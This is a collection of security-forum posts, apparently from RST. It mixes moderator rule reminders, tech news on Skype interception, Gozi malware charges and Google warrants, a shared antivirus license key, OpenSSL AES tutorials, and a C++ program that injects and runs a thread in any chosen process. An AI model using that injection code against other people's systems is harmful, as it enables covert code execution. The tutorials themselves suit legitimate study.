Nytro

Eu cred ca nu e necesar un premiu pentru ca cineva sa demonstreze de ce este in stare...

Da, interesant...

Milogilor, invatati sa oferiti ceva inainte de a cere. Ca sa intelegeti si voi, cei mai inapti din punct de vedere intelectual, regula a fost pusa din doua motive: 1. Pentru a evita leecherii, adica milogii, adica cei ca acest specimen de mai sus care nu contribuie cu nimic, nu ajuta pe nimeni dar vine cu miloaga 2. Din acele posturi iti poti da seama de cateva lucruri despre o persoana, daca gandeste matur sau daca e un copil prost si needucat ca fiinta de mai sus.

[h=1]Convorbirile de pe Skype, interceptate? Microsoft a intrat intr-un mare scandal[/h]de Redactia Hit | 25 ianuarie 2013 Mai multi activisti internet, jurnalisti, dar si fundatii importante si specialisti in securitate IT atrag atentia ca apelurile efectuate prin Skype le-ar fi fost interceptate. Microsoft este somata de mai multi utilizatori, printr-o scrisoare deschisa, sa investigheze problema de securitate. Scrisoarea deschisa, care a fost publicata ieri de grupul din care fac parte si mai mult avocati care apara dreptul la confidentialitatea datelor utilizatorilor, solicita Microsoft sa faca publica documentatia referitoare la practicile de securitate si confidentialitate a informatiilor pe care se bazeaza serviciul VoIP Skype. Microsoft a achizitionat, in octombrie 2011, Skype, printr-o tranzactie in valoare de 8,5 miliarde de dolari. In scrisoare, semnatarii isi manifesta ingrijorarea fata de nivelul de acces pe care l-ar putea avea institutiile guvernamentale la continutul comunicatiilor prin Skype. Printre cei care au semnat scrisoarea deschisa se numara Electronic Freedom Foundation, Reporteri Fara Frontiere, Initiativa Egipteana pentru Drepturile Omului si Tibet Action Institute. Ingrijorarea semnatarilor este legata si de faptul ca Microsoft va inlocui total Windows Messenger Live cu Skype, in luna martie, iar daca problema interceptarii comunicatiilor prin serviciul VoIP se confirma, atunci numarul userilor care ar putea fi "ascultati" si supravegheati oricand creste foarte considerabil. Sursa: The Verge, Cnet Via: Convorbirile de pe Skype, interceptate? Microsoft a intrat intr-un mare scandal | Hit.ro

Bitdefender 2013 Felicit?ri! Ai primit o cheie pentru Bitdefender Internet Security 2013 ——————— L6SAS0E ——————— Pentru a folosi aceast? cheie trebuie doar s? dai click aici Dac? produsul nu se activeaz? în interval de 30 de zile, cheia va fi invalidat?.

Tot in legatura cu subiectul https://rstforums.com/forum/64134-3-men-suspected-developing-distributing-gozi-malware-charged.rst

3 Men Suspected of Developing and Distributing Gozi Malware Charged January 24th, 2013, 08:20 GMT · By Eduard Kovacs Three individuals, suspected of developing and distributing the notorious Gozi malware, have been charged in a Manhattan federal court. According to the US Department of Justice, the Gozi malware has infected more than one million computers, causing losses totaling tens of millions of dollars. The suspects are Nikita Kuzmin, a Russian national who is believed to have created the malware, Deniss Calovskis, a Latvian who contributed to Gozi’s development, and Romanian Mihai Ionut Paunescu who ran the “bulletproof” hosting service used to distribute the malicious element. Kuzmin, aged 25, was arrested back in November 2010 and already pled guilty to computer intrusion and fraud charges in May 2011. 27-year-old Calovskis was arrested in Latvia in November 2012 and 25-year-old Paunescu was arrested last month in Romania. Court documents reveal that Kuzmin created a list of technical specifications for Gozi back in 2005. He then hired a computer programmer, “CC-1,” to write its source code. Once the malware had been developed, Kuzmin started selling it to his co-conspirators. He contracted Calovskis and others to improve the malicious creation. Authorities believe that Calovskis wrote the code for the web injects. The bulletproof hosting services offered by Paunescu were used not only for the distribution of the Gozi malware, but also for other cybercrimes, such as spam, distributed denial-of-service (DDOS) attacks, and the distribution of other Trojans such as ZeuS and SpyEye. “This long-term investigation uncovered an alleged international cybercrime ring whose far-reaching schemes infected at least one million computers worldwide and 40,000 in the U.S., and resulted in the theft or loss of tens of millions of dollars,” said FBI Assistant Director-in-Charge George Venizelos. “Banking Trojans are to cyber criminals what safe-cracking or acetylene torches are to traditional bank burglars – but far more effective and less detectable. The investigation put an end to the Gozi virus.” If found guilty, Kuzmin faces a maximum penalty of 95 years in prison. Calovskis and Paunescu face 67, respectively 60 years in prison. Sursa: 3 Men Suspected of Developing and Distributing Gozi Malware Charged - Softpedia

[h=1]Defrag: Moving Page File, Recovering Encrypted Files, Missing User Account[/h] Posted: Nov 24, 2011 at 10:14 AM By: Larry Larsen Microsoft tech troubleshooter extraordinaire Gov Maharaj and I help walk you through troubleshooting solutions to your tech support problems. If you have a problem you want to send us, you can use the Problem Step Recorder in Windows 7 (see this for details on how) and send us the zip file to DefragShow@microsoft.com. We will also be checking comments for problems, but the email address will let us contact you if needed. [01:15] - OEM media for OS reinstall. [02:22] - How to move the page file from one drive to another. [05:59] - Is there a way to recover encrypted files if you have access to the physical drive? [10:51] - ICS not working on home configuration. [13:59] - Troubleshooting screen reinitialzing on machine. [16:48] - Can't see a user account made on a PC. [18:54] - Floppy drive A: started showing up, how to remove. [20:22] - Calc button on keyboard no longer starts up multiple instances. [22:03] - Pick of the Week: StevieB talking about the Applied Sciences Group. [link] (Hard Rock Cafe [link] [link]) Video: http://channel9.msdn.com/Shows/The-Defrag-Show/Defrag

Google Tells Cops to Get Warrants for User E-Mail, Cloud Data By David Kravets 01.23.13 5:29 PM Google demands probable-cause, court-issued warrants to divulge the contents of Gmail and other cloud-stored documents to authorities in the United States — a startling revelation Wednesday that runs counter to federal law that does not always demand warrants. The development surfaced as Google publicly announced that more than two-thirds of the user data Google forwards to government agencies across the United States is handed over without a probable-cause warrant. A Google spokesman told Wired that the media giant demands that government agencies — from the locals to the feds — get a probable-cause warrant for content on its e-mail, Google Drive cloud storage and other platforms — despite the Electronic Communications Privacy Act allowing the government to access such customer data without a warrant if it’s stored on Google’s servers for more than 180 days. “Google requires an ECPA search warrant for contents of Gmail and other services based on the Fourth Amendment to the Constitution, which prevents unreasonable search and seizure,” Chris Gaither, a Google spokesman, said. Some of the customer data doled out without a warrant include names listed when creating Gmail accounts, the IP address from where the account was created, and where and what time a user signs in and out of an account. What’s more, Google hands over without warrants the IP address associated with a particular e-mail sent from a Gmail account or used to change the account password, in addition to the non-content portion of e-mail headers such as the “from,” “to” and “date” fields. It was not immediately known whether other ISPs are traveling Google’s path when it comes to demanding probable-cause warrants for all stored content. But Google can seemingly grant more privacy than the four corners of the law allows because there’s been a string of conflicting court opinions on whether warrants are required for data stored on third-party servers longer than 180 days. The Supreme Court has never weighed in on the topic — and the authorities are seemingly abiding by Google’s rules to avoid a high court showdown. The Electronic Communications Privacy Act of 1986, the relevant law in question, was adopted at a time when e-mail wasn’t stored on servers for a long time, but instead was held there briefly on its way to the recipient’s inbox. In the 1980s, e-mail more than 6 months old was assumed abandoned, and therefore ripe for the taking without a probable-cause warrant. That law is still on the books today, even as the advancement of technology has undermined its original theory. But clearly, changing the law to comport with Google’s interpretation has been met with unreceptive members of Congress. The Senate Judiciary Committee approved a measure last year mirroring Google’s interpretation, but the bill died a quiet death. Moves to change the law have been scuttled over and again. Google’s Transparency Report issued January 23, 2013. For now, under the letter of the ECPA law, the government only needs to show that it has “reasonable grounds to believe” e-mail and other documents stored in the cloud for more than 180 days would be useful to an investigation. Gaither, the Google spokesman, did not know when Google began demanding warrants. But there were two federal appellate decisions on the topic rendered 2010, one requiring a warrant for content and another saying federal judges had the discretion to demand one. Meantime, Google released Wednesday its so-called “Transparency Report” shedding light on government requests for data. Globally, the United States again ranked No. 1 in terms of demands for Google customer data. India, France, Germany, the United Kingdom and Brazil were trailing in that order. The figures for the first time provide a brief outline on whether data was handed over with or without a court warrant — a praiseworthy move we’ve been agitating for at Threat Level following the report’s inception. Google first began releasing its Transparency Report in 2009. Google offers e-mail, cloud storage, a blogging platform, a phone and texting platform, web search and other services. The data Google is coughing up to the authorities includes e-mail and text-messaging communications, cloud-stored documents and, among other things, browsing activity, and even IP addresses used to create an account. In all, agencies across the United States demanded 8,438 times that Google fork over data on some 14,791 accounts for the six-month period ending December 2012. Probable-cause search warrants were issued in 1,896 of the cases. Subpoenas, which require the government to assert that the data is relevant to an investigation, were issued 5,784 times. Google could not quantify the remaining 758. Google’s transparency data is limited as it does not include requests under the Patriot Act, which can include National Security Letters with gag orders attached. Nor do the data include anti-terrorism eavesdropping court orders known as FISA orders or any dragnet surveillance programs legalized in 2008, as those are secret, too. In all those instances, probable-cause warrants generally are not required, even for customer content stored in Google’s servers. Sursa: http://www.wired.com/threatlevel/2013/01/google-says-get-a-warrant/

Discutiile specifice sistemelor de operare printre care si Linux se pot purta in categoria "Sisteme de operare". Tutorialele "Linux" pot fi dezvoltate in categoriile pentru Tutoriale, in limba romana, in limba engleza sau video. Termenul "securitate" este mult prea vast si in acelasi timp nu prezinta nimic concret. Prin "hack", sincer, nu inteleg ce vrei sa zici. Aici pot intra multe lucruri, de la comenzi tricky in shell scripting pana la exploit development - local privilege escalation exploits (dezvoltarea acestora). Pentru Tools, asa cum spuneai chiar tu, exista de asemenea 3 categorii speciale. Problema principala este faptul ca nu se poarta foarte multe discutii legate strict de sistemul de operare Linux. Mai bine zis, se vorbeste destul de putin despre Linux pe aici. In plus, eu as vrea sa evitam crearea unei categorii in care pot sa jur ca 90% dintre discutii ar fi despre Shitubuntu si ar fi probleme intampinate de utilizatorii acestui "colorat" sistem de operare Linux, mai exact ne-am abate de la tema forumului, securitatea IT, si am acoperi ceea ce acopera deja forumuri specializate.

Nu. RST e o comunitate in care membri se ajuta reciproc. Mai exact unii ii ajuta pe altii, iar altii, ca tine, vin aici doar pentru nevoile personale, in cazul de fata sa cumpere/vanda ceva. Aici apar si posturile, dar aici apare si ceea ce poarta denumirea de "socializare". Altfel cumperi de la o persoana care te-a ajutat de la x ori decat de la cineva despre care nu stii nimic. Din posturi iti poti da seama atat de cunostintele tehnice ale unei persoane, cat si de modul in care gandeste. Mai exact, daca vezi pe cnv k scrye asha poti avea certitudinea ca nu e o persoana potrivita pentru a colabora.

[h=1]Another example usage of RtlCreateUserThread[/h][h=3]Author: zwclose7[/h]This program create remote thread within another process using RtlCreateUserThread function. Instead of using GetProcAddress function to get the function address, it import the function from ntdll.dll directly. Download: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3784 #include <iostream> #include <Windows.h> using namespace std; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; EXTERN_C LONG WINAPI RtlCreateUserThread(HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG,PULONG, PVOID,PVOID, PHANDLE,PCLIENT_ID); EXTERN_C LONG WINAPI NtResumeThread(HANDLE ThreadHandle,PULONG SuspendCount); int main(){ HANDLE hThread; CLIENT_ID cid; DWORD PID,exts; PVOID para; char dll[60],func[60]; HANDLE hToken; LUID luid; LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid); TOKEN_PRIVILEGES tp; tp.Privileges[0].Luid=luid; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.PrivilegeCount=1; OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL); cout <<"==========Remote Thread Creator==========\n\n"; cout <<"This program create remote thread within another process using\nRtlCreateUserThread function. Instead of using\n"; cout <<"GetProcAddress function to get the function address, it import the function\n"; cout <<"from ntdll.dll directly.\n\n"; cout <<"Enter PID:"; cin >>PID; cout <<"Enter DLL name:"; cin >>dll; cout <<"Enter function name:"; cin >>func; cout <<"Enter parameter:"; cin >>para; HMODULE hModule=GetModuleHandle(dll); HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,PID); RtlCreateUserThread(hProcess,NULL,true,0,0,0,(PVOID)GetProcAddress(hModule,func),para,&hThread,&cid); cout <<"Thread created in suspended state. Press enter to resume it.\n\n"; system("pause"); NtResumeThread(hThread,NULL); WaitForSingleObject(hThread,INFINITE); GetExitCodeThread(hThread,&exts); cout <<"\n\nThread terminated with status code: "<<exts; CloseHandle(hThread); CloseHandle(hProcess); return 0; } Sursa: Another example usage of RtlCreateUserThread - rohitab.com - Forums

[h=1]Bitdefender lanseaza aplicatia gratuita de scanare a PC-urilor 60-Second Virus Scanner[/h] BUCURE?TI, 23 ianuarie 2013– Bitdefender, liderul pie?ei locale de antivirus, lanseaz? aplica?ia gratuit? 60-Second Virus Scanner ce furnizeaz? oric?rui utilizator protec?ie suplimentar? prin intermediul unei tehnologii bazate pe cloud, ce informeaz? asupra tuturor amenin??rilor active. Bitdefender 60-Second Virus Scanner ofer? tuturor utilizatorilor de PC siguran?a c? sistemul lor este verificat de o tehnologie proactiv? de scanare care este disponibil? gratuit oricând. Tehnologia Bitdefender s-a clasat în mod constant pe primul loc în testele de detec?ie realizate de institutele independente de testare a produselor antivirus AV-Test ?i AV-Comparatives. ’’Cu 60-Second Virus Scanner ne propunem s? aducem tehnologia noastr? de top pe cât mai multe calculatoare. Suntem convin?i c? va impresiona utilizatorii de PC-uri prin eficien?? ?i modul discret de func?ionare. Ne a?tept?m ca aplica?ia gratuit? s? fie folosit? de foarte mul?i dintre cei care folosesc deja un ativirus, dar î?i doresc s? afle dac? dac? solu?ia blocheaz? toate amenin??rile informatice’’, a declarat C?t?lin Co?oi, Chief Security Strategist, Bitdefender. Aplica?ia func?ioneaz? concomitent cu orice alt program antivirus, permi?ând utilizatorilor s? verifice dac? softul de securitate î?i face bine treaba. 60-Second Virus Scanner lucreaz? în mod discret, protejeaz? sistemul în timp ce utilizatorii lucreaz? sau se joac? ?i trimite alerte ]n timp real pe m?sur? ce detecteaz? viru?i. Tehnologia bazat? pe cloud nu are niciun impact asupra sistemului din punct de vedere al consumului de resurse. Download: http://download.bitdefender.com/npd/60Second/60Second_ro_ro.exe Sursa: Bitdefender lanseaza aplicatia gratuita de scanare a PC-urilor 60-Second Virus Scanner

Erau 100.000 de posturi.

Doar utilizatorii cu peste 50 de posturi pot crea un topic: https://rstforums.com/forum/64059-minim-50-de-posturi.rst

Pentru a preveni eventuale probleme, limitam accesul persoanelor care pot crea un topic pentru vinde/cumpara la numarul de posturi. Asadar, NU se vor aproba topicuri ale membrilor care nu au cel putin 50 de posturi.

Network Security with OpenSSL By Pravir Chandra, Matt Messier, John Viega Publisher : O'Reilly Pub Date : June 2002 ISBN : 0-596-00270-X Pages : 384 OpenSSL is a popular and effective open source version of SSL/TLS, the most widely used protocol for secure network communications. The only guide available on the subject, Network Security with OpenSSLdetails the challenges in securing network communications, and shows you how to use OpenSSL tools to best meet those challenges. Focused on the practical, this book provides only the information that is necessary to use OpenSSL safely and effectively. Table of Content Table of Content......................................................................................................ii Dedication .............................................................................................................vi Preface....................................................................................................................vii About This Book .............................................................................................. viii Conventions Used in This Book........................................................................x Comments and Questions ................................................................................xi Acknowledgments..............................................................................................xi Chapter 1. Introduction...........................................................................................1 1.1 Cryptography for the Rest of Us.................................................................1 1.2 Overview of SSL...........................................................................................8 1.3 Problems with SSL .....................................................................................10 1.4 What SSL Doesn't Do Well .......................................................................16 1.5 OpenSSL Basics.........................................................................................17 1.6 Securing Third-Party Software .................................................................18 Chapter 2. Command-Line Interface..................................................................23 2.1 The Basics ...................................................................................................23 2.2 Message Digest Algorithms ......................................................................25 2.3 Symmetric Ciphers .....................................................................................27 2.4 Public Key Cryptography...........................................................................28 2.5 S/MIME.........................................................................................................32 2.6 Passwords and Passphrases ...................................................................33 2.7 Seeding the Pseudorandom Number Generator...................................35 Chapter 3. Public Key Infrastructure (PKI)........................................................37 3.1 Certificates...................................................................................................37 3.2 Obtaining a Certificate ...............................................................................44 3.3 Setting Up a Certification Authority..........................................................47 Chapter 4. Support Infrastructure.......................................................................60 4.1 Multithread Support....................................................................................60 4.2 Internal Error Handling...............................................................................66 4.3 Abstract Input/Output .................................................................................70 4.4 Random Number Generation ...................................................................80 4.5 Arbitrary Precision Math ............................................................................85 4.6 Using Engines.............................................................................................91 Chapter 5. SSL/TLS Programming.....................................................................93 5.1 Programming with SSL..............................................................................93 5.2 Advanced Programming with SSL.........................................................125 Chapter 6. Symmetric Cryptography................................................................143 6.1 Concepts in Symmetric Cryptography...................................................143 6.2 Encrypting with the EVP API ..................................................................145 6.3 General Recommendations ....................................................................161 Chapter 7. Hashes and MACs ..........................................................................162 7.1 Overview of Hashes and MACs .............................................................162 7.2 Hashing with the EVP API.......................................................................163 7.3 Using MACs...............................................................................................168 7.4 Secure HTTP Cookies.............................................................................179 Chapter 8. Public Key Algorithms.....................................................................184 iii 8.1 When to Use Public Key Cryptography.................................................184 8.2 Diffie-Hellman............................................................................................185 8.2 Diffie-Hellman............................................................................................190 8.3 Digital Signature Algorithm (DSA)..........................................................195 8.4 RSA.............................................................................................................200 8.5 The EVP Public Key Interface ................................................................205 8.6 Encoding and Decoding Objects............................................................213 Chapter 9. OpenSSL in Other Languages ......................................................220 9.1 Net::SSLeay for Perl ................................................................................220 9.2 M2Crypto for Python ................................................................................225 9.3 OpenSSL Support in PHP.......................................................................233 Chapter 10. Advanced Programming Topics..................................................241 10.1 Object Stacks..........................................................................................241 10.2 Configuration Files .................................................................................242 10.3 X.509 ........................................................................................................245 10.4 PKCS#7 and S/MIME............................................................................259 10.5 PKCS#12.................................................................................................268 Appendix A. Command-Line Reference..........................................................270 asn1parse............................................................................................................270 ca ........................................................................................................................271 ciphers ................................................................................................................277 crl .......................................................................................................................277 crl2pkcs7 ............................................................................................................279 dgst.....................................................................................................................280 dhparam..............................................................................................................281 dsa ......................................................................................................................282 dsaparam ............................................................................................................284 enc ......................................................................................................................285 errstr ...................................................................................................................287 gendsa ................................................................................................................287 genrsa .................................................................................................................288 nseq ....................................................................................................................289 passwd................................................................................................................289 pkcs7 ..................................................................................................................290 pkcs8 ..................................................................................................................291 pkcs12 ................................................................................................................293 rand ....................................................................................................................296 req ......................................................................................................................296 rsa.......................................................................................................................301 rsautl...................................................................................................................302 s_client ...............................................................................................................304 s_server ..............................................................................................................306 s_time.................................................................................................................309 sess_id ................................................................................................................311 smime.................................................................................................................312 speed ..................................................................................................................316 spkac ..................................................................................................................316 verify..................................................................................................................317 version................................................................................................................318 x509....................................................................................................................319 iv Colophon ..............................................................................................................326 Download: http://directory.umm.ac.id/Networking%20Manual/Network%20Security%20With%20OpenSSL%202002.pdf

AES CTR Encryption in C Posted on May 7, 2012 by Marty Encryption is one of the best tools at protecting data when it comes to computer security. There are many forms of encryption as well. One of the forms that I encountered recently in my work is AES CTR encryption. I am sure you have heard of AES encryption, but what exactly is AES CTR? AES CTR CTR is a counter mode for AES encryption. It is also known as ICM and SIC. In AES encryption you have what is called an Initializing Vector, or IV for short. This is a 128-bit input that is usually randomized. In CTR mode the IV has two parts. The first 8 bytes is the regular randomized IV. The last 8 bytes is a counter. This counter is a 0 index of the number of 128-bit blocks you are inside the encrypted information. For example. If you are encrypting 512 bits of information (64 bytes), the start position of 0 bytes into the information would have a counter of 0. 16 bytes in, you would have a counter of 1. 32 bytes in your counter would be up to 2. So on an so on until you are at the end if your information. Unlike normal AES encryption this encryption can be seek-able through the information. You don’t have to decrypt all of the bytes to get some information in the middle. The way encryption works in AES CTR mode is that we generate some random bits with the encryption key provided and the IV. With these random bits we then XOR them with our string. This creates a randomized text. To decrypt them we just simply XOR the text with the same exact random bits that we generated with the encryption key and the IV. Let’s look at this example. There is two people, person A and person B. They both share a random string of text that no one else has. Let’s have this random text be 10100011011011011. If person A wants to send person B a message all they have to do is to XOR their message with their random text. Let’s have person A’s message be 10011010101010100. If we XOR the message with the random text we get the following string. 00111001110001111 We then send this string to person B. If person B XORs the string with his random string he will get the original message from person A of 10011010101010100. Encrypting a file and decrypting a file are the same steps. The only differences in our code example would be during decryption we set the IV from the file. During encryption we generate the IV randomly. So everyone wants a code example right? What’s the point of knowing about the method without being able to implement it. For this example we will be using OpenSSL’s AES implementation in their cryptography library. Download the library: Windows For windows you can find the OpenSSL download link here: OpenSSL: OpenSSL Binary Distributions Linux If you’re using a debain based version of linux you can download the library with this command: “sudo apt-get install libssl-dev” OS X. You already have this library installed. It can be found in /usr/include/openss/ and /usr/bin/openssl/ The language that we will be using will be C. The code is not platform specific. We will be writing the code in Linux using a text editor and the GCC compiler. Demo: Encrypt/Decrypt files with OpenSSL AES CTR mode. Note: Code example uses partial code from: c - AES CTR 256 Encryption Mode of operation on OpenSSL - Stack Overflow Let’s start with our includes. We will need to include 4 files for this example. #include <openssl/aes.h> #include <openssl/rand.h> #include <stdio.h> #include <string.h> We will also need a structure to maintain our ivector, ecount, and num. struct ctr_state { unsigned char ivec[AES_BLOCK_SIZE]; unsigned int num; unsigned char ecount[AES_BLOCK_SIZE]; }; The Ivector is the only piece of information used by our program that we care about. Num and ecount are variables that we have to pass into our encryption function that we don’t ever need to care about. *Note AES_BLOCK_SIZE is defined to be the integer value of 16. This is the number of bytes in the 128-bit block for AES. We will also need two file types declared for encrypting and decrypting. FILE *readFile; FILE *writeFile; We will also need to set our encryption key. AES_KEY key; Some other inforation that we will need is to know how many bytes we read/wrote, the data that we read/wrote to the file, the IV that we read from the file, and our state for the encryption of a ctr_state struct. int bytes_read, bytes_written; unsigned char indata[AES_BLOCK_SIZE]; unsigned char outdata[AES_BLOCK_SIZE]; unsigned char iv[AES_BLOCK_SIZE]; struct ctr_state state; It is helpful to have a function which initializes the IV setting all the values to be 0 except the first 8 which will be the random input. int init_ctr(struct ctr_state *state, const unsigned char iv[16]) { /* aes_ctr128_encrypt requires 'num' and 'ecount' set to zero on the * first call. */ state->num = 0; memset(state->ecount, 0, AES_BLOCK_SIZE); /* Initialise counter in 'ivec' to 0 */ memset(state->ivec + 8, 0, 8); /* Copy IV into 'ivec' */ memcpy(state->ivec, iv, 8); } Let’s work on our encryption function. Our function can be described as this void fencrypt(char* read, char* write, const unsigned char* enc_key) { Read is the file name plus location that we are reading from to encrypt. Write is the file name plus location that we are writing the encrypted information to. enc_key is the encryption key used to encrypt the file. *Note, this must be 16 bytes long. This is the “password” to the file. The first thing we need to do is to create an IV with random bytes. OpenSSL library has a function to generate random bytes into an array. It is found in rand.h. if(!RAND_bytes(iv, AES_BLOCK_SIZE)) { fprintf(stderr, "Could not create random bytes."); exit(1); } Now we need to open our reading/writing files and make sure that they can be used. readFile = fopen(read,"rb"); // The b is required in windows. writeFile = fopen(write,"wb"); if(readFile==NULL) { fprintf(stderr, "Read file is null."); exit(1); } if(writeFile==NULL) { fprintf(stderr, "Write file is null."); exit(1); } Now that we have our file in place we need to write out our IV to the file. The IV is not suppose to be secure. Remember that only the first 8 bytes of the IV are even used in this mode of AES encryption. fwrite(iv, 1, 8, writeFile); // IV bytes 1 - 8 fwrite("", 1, 8, writeFile); // Fill the last 8 with null bytes 9 - 16 The next step is to set our encryption key. //Initializing the encryption KEY if (AES_set_encrypt_key(enc_key, 128, &key) < 0) { fprintf(stderr, "Could not set encryption key."); exit(1); } After we set our encryption key we need to initialize our state structure which holds our IV. init_ctr(&state, iv); //Counter call Now the fun part. We will go into a continuous loop reading from the file encrypting all the data and writing it out. while(1) { We then need to read 16 bytes from the file into our indata array. bytes_read = fread(indata, 1, AES_BLOCK_SIZE, readFile); After we read the bytes we then encrypt them using our AES_ctr128_encrypt function. This is the 128-bit encryption function found in aes.h. Indata is the data we read from the file. Outdata is our array to which the encrypted bytes will be placed. bytes_read is the number of bytes in the indata array to be encrypted. Key is the encryption key that was set using our 16 byte password. State.ivec is the IV used for encryption. The last two variables are not used by us so we don’t need to know about them at all. AES_ctr128_encrypt(indata, outdata, bytes_read, &key, state.ivec, state.ecount, &state.num); Now that we encrypted our data into outdata it’s time to write them to a file. bytes_written = fwrite(outdata, 1, bytes_read, writeFile); If we read less than our block size it probably means we are at the end of the file. We can stop encrypting now. if (bytes_read < AES_BLOCK_SIZE) { break; } } We now need to close our files to as they are no longer needed. fclose(writeFile); fclose(readFile); } So what changes in the decrypting function? Basically nothing. The only changes that we do is we set our IV to be the first 16 bytes in the input file. The rest of the code is the exact same. If you want a further example the code can be found here: http://www.gurutechnologies.net/uploads/martyj/aes_ctr_example.zip Compile via command line with the following command. “gcc main.c -lm -lcrypto -lssl” Sursa: AES CTR Encryption in C | Guru Technologies

AES encryption/decryption demo program using OpenSSL EVP apis /** AES encryption/decryption demo program using OpenSSL EVP apis gcc -Wall openssl_aes.c -lcrypto this is public domain code. Saju Pillai (saju.pillai@gmail.com) **/ #include <string.h> #include <stdio.h> #include <stdlib.h> #include <openssl/evp.h> /** * Create an 256 bit key and IV using the supplied key_data. salt can be added for taste. * Fills in the encryption and decryption ctx objects and returns 0 on success **/ int aes_init(unsigned char *key_data, int key_data_len, unsigned char *salt, EVP_CIPHER_CTX *e_ctx, EVP_CIPHER_CTX *d_ctx) { int i, nrounds = 5; unsigned char key[32], iv[32]; /* * Gen key & IV for AES 256 CBC mode. A SHA1 digest is used to hash the supplied key material. * nrounds is the number of times the we hash the material. More rounds are more secure but * slower. */ i = EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), salt, key_data, key_data_len, nrounds, key, iv); if (i != 32) { printf("Key size is %d bits - should be 256 bits\n", i); return -1; } EVP_CIPHER_CTX_init(e_ctx); EVP_EncryptInit_ex(e_ctx, EVP_aes_256_cbc(), NULL, key, iv); EVP_CIPHER_CTX_init(d_ctx); EVP_DecryptInit_ex(d_ctx, EVP_aes_256_cbc(), NULL, key, iv); return 0; } /* * Encrypt *len bytes of data * All data going in & out is considered binary (unsigned char[]) */ unsigned char *aes_encrypt(EVP_CIPHER_CTX *e, unsigned char *plaintext, int *len) { /* max ciphertext len for a n bytes of plaintext is n + AES_BLOCK_SIZE -1 bytes */ int c_len = *len + AES_BLOCK_SIZE, f_len = 0; unsigned char *ciphertext = malloc(c_len); /* allows reusing of 'e' for multiple encryption cycles */ EVP_EncryptInit_ex(e, NULL, NULL, NULL, NULL); /* update ciphertext, c_len is filled with the length of ciphertext generated, *len is the size of plaintext in bytes */ EVP_EncryptUpdate(e, ciphertext, &c_len, plaintext, *len); /* update ciphertext with the final remaining bytes */ EVP_EncryptFinal_ex(e, ciphertext+c_len, &f_len); *len = c_len + f_len; return ciphertext; } /* * Decrypt *len bytes of ciphertext */ unsigned char *aes_decrypt(EVP_CIPHER_CTX *e, unsigned char *ciphertext, int *len) { /* because we have padding ON, we must allocate an extra cipher block size of memory */ int p_len = *len, f_len = 0; unsigned char *plaintext = malloc(p_len + AES_BLOCK_SIZE); EVP_DecryptInit_ex(e, NULL, NULL, NULL, NULL); EVP_DecryptUpdate(e, plaintext, &p_len, ciphertext, *len); EVP_DecryptFinal_ex(e, plaintext+p_len, &f_len); *len = p_len + f_len; return plaintext; } int main(int argc, char **argv) { /* "opaque" encryption, decryption ctx structures that libcrypto uses to record status of enc/dec operations */ EVP_CIPHER_CTX en, de; /* 8 bytes to salt the key_data during key generation. This is an example of compiled in salt. We just read the bit pattern created by these two 4 byte integers on the stack as 64 bits of contigous salt material - ofcourse this only works if sizeof(int) >= 4 */ unsigned int salt[] = {12345, 54321}; unsigned char *key_data; int key_data_len, i; char *input[] = {"a", "abcd", "this is a test", "this is a bigger test", "\nWho are you ?\nI am the 'Doctor'.\n'Doctor' who ?\nPrecisely!", NULL}; /* the key_data is read from the argument list */ key_data = (unsigned char *)argv[1]; key_data_len = strlen(argv[1]); /* gen key and iv. init the cipher ctx object */ if (aes_init(key_data, key_data_len, (unsigned char *)&salt, &en, &de)) { printf("Couldn't initialize AES cipher\n"); return -1; } /* encrypt and decrypt each input string and compare with the original */ for (i = 0; input[i]; i++) { char *plaintext; unsigned char *ciphertext; int olen, len; /* The enc/dec functions deal with binary data and not C strings. strlen() will return length of the string without counting the '\0' string marker. We always pass in the marker byte to the encrypt/decrypt functions so that after decryption we end up with a legal C string */ olen = len = strlen(input[i])+1; ciphertext = aes_encrypt(&en, (unsigned char *)input[i], &len); plaintext = (char *)aes_decrypt(&de, ciphertext, &len); if (strncmp(plaintext, input[i], olen)) printf("FAIL: enc/dec failed for \"%s\"\n", input[i]); else printf("OK: enc/dec ok for \"%s\"\n", plaintext); free(ciphertext); free(plaintext); } EVP_CIPHER_CTX_cleanup(&en); EVP_CIPHER_CTX_cleanup(&de); return 0; } Sursa: http://saju.net.in/code/misc/openssl_aes.c.txt

Rsync guide & tutorial Updated: January 21, 2013 Well, you have probably read a million guides on how to backup your personal data using rsync, a highly useful and versatile data copying tool. Here's another one. I would like to show you some basic tips and tricks for smart and safe rsync usage, how to make a flexible and useful setup, and how to automate your backup procedure, as a part of a comprehensive backup strategy, which you must have. In home setups, rsync might be somewhat of an overkill. and many users might actually prefer to run the tool with some kind of a frontend, like grsync. However, if you want to fully master and control your data sync and transfer, then, at some point, you will examine the usage from the command line. This guide should get you underway. Quick, quick introduction You can all read man pages, I am sure. In this particular case, rsync is very well documented, and you should be able to get going with just that, in theory. However, before you begin and potentially cause irreversible damage to your data, you should take several necessary precautions. Dry run Normally, we should begin with basic usage, but that comes next. It is so important to emphasize the below section that I am going to skip the actual syntax for now. Not the serial flow you would expect, but it's a must. So here it goes. You should never run rsync without using the --dry-run option first. This will give a detailed list of what would have happened had you run for real. You can combine the output with the --incremental option to get the list of all changes. Finally, use the --log-file=FILE option to write all changes to a report. You should start testing with a dummy source and destination directory. You should make sure that you do not overwrite existing data or that you can afford to lose the pieces of your information if the commands go wrong. Only after you have completed several safe runs and verified no undesired files are copied, desired files are deleted, nothing is missing, and nothing has been modified without your consent, only then should you try copying files in earnest. Basic usage Now we can use rsync. The commands are as follows: rsync FLAGS/OPTIONS SRC DEST It's as simple as that. The common recommended options you want are: -avs - All objects, verbose output, do not allow remote shell to interpret characters; in other words, file names with spaces and special characters will not be translated, which is what you want most likely, especially if you have Windows files, too. --delete will delete files at the target (destination), if they do not exist in the source. This means you will always keep an up to date list of files and the source and destination will match, plus the destination will not slowly grow in size with older, perhaps irrelevant content. Advanced options There are a million, literally. So here's a sampling of good things: -l (lowercase L), when symlinks are encountered, recreate the symlink on the destination. 